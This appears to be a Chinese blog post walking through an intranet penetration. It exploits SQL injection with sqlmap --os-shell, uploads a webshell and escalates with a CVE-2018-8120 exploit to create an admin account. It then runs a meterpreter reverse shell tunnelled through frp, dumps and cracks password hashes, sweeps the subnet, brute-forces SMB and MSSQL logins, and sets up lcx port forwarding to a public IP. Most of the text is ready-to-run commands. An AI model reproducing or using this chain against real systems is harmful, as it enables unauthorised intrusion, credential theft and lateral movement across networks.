内网渗透之纵深
2018-12-16 本文已影响270人
CSeroad
前言
在一次测试中发现某系统存在SQL注入漏洞。且IIS可暴露绝对路径。

使用--os-shell命令,填写绝对路径可执行系统命令。

提权
sqlmap在执行--os-shellI命令时向服务器写入了上传文件的脚本。
通过文件上传可直接上传大马。

简单执行几条系统命令查看该服务器基本情况。


权限不够,上传cve-2018.8120.exe进行提权。
cve-2018-8120.exe "whoami"

cve-2018-8120.exe "net user admintest 1234qwer.. /add"
cve-2018-8120.exe "net localgroup administrators admintest /add"
进而添加用户到管理员组。
由于该服务器在内网。
选择自己上传msf马(由veil生成),由frp穿透到内网。
详情参考:getshell的进一步利用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
exploit -j
进而端口转发登录该服务器。
portfwd add -l 3389 -r 10.0.15.20 -p 3389

这里使用公网进行访问,
注:依然需要在frpc上进行配置。

为了在内网获取更多服务器,需要获取管理员administrator的密码。
在登录成功的前提下,以管理员身份再次运行msf马,可顺利提权至system。
getuid 当前权限
getsystem 通过各种攻击提升到system权限
run post/windows/gather/hashdump 获取系统密码hash
run post/windows/gather/checkvm 检查是否是虚拟机

尝试md5解密一下。。nice!!!

使用administrator来登录。

果然,信息有很多。
比如mysql数据库。

内网渗透
首先看一下该局域网存活主机
for /l %i in (1,1,255) do @ ping 10.0.15.%i -w 1 -n 1 | find /i "ttl="

meterpreter添加路由。
run get_local_subnets 获取当前网段
run autoroute -s 10.0.15.0/24 添加路由

使用metasploit模块查看一下该局域网开启3389的服务器。
use auxiliary/scanner/rdp/rdp_scanner
set rhosts 10.0.15.10-33
run

扫描smb登录
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.0.15.10-33
set SMBUser administrator
set SMBPass 123456a?
run


这个结果令人欣喜。。。
登录几台试试。


继续。。上传hsscan工具扫描一下弱口令。

使用metasploit的mssql模块来添加管理员。
use auxiliary/admin/mssql/mssql_exec
set RHOST 10.0.15.12
set USERNAME sa
set PASSWORD soft
set CMD net user admintest 1234qwer.. /add
run

ok!!!

go,go,go。重复之前的操作。上传msf马并以管理员身份运行。
提权后获取管理员密码。

MD5解密一下。。

以administrator登录

再次批量扫描smb。又获取几台服务器。

尝试登录10.0.15.13试试

扩展
为了更加方便远程服务器,上传lcx.exe工具进行端口转发。
在公网上使用该命令
./portmap -m 2 -p1 2222 -p2 5555 linux监听端口

靶机上使用以下命令。
lcx.exe -slave 公网IP 2222 10.0.15.20 3389 windows转发端口

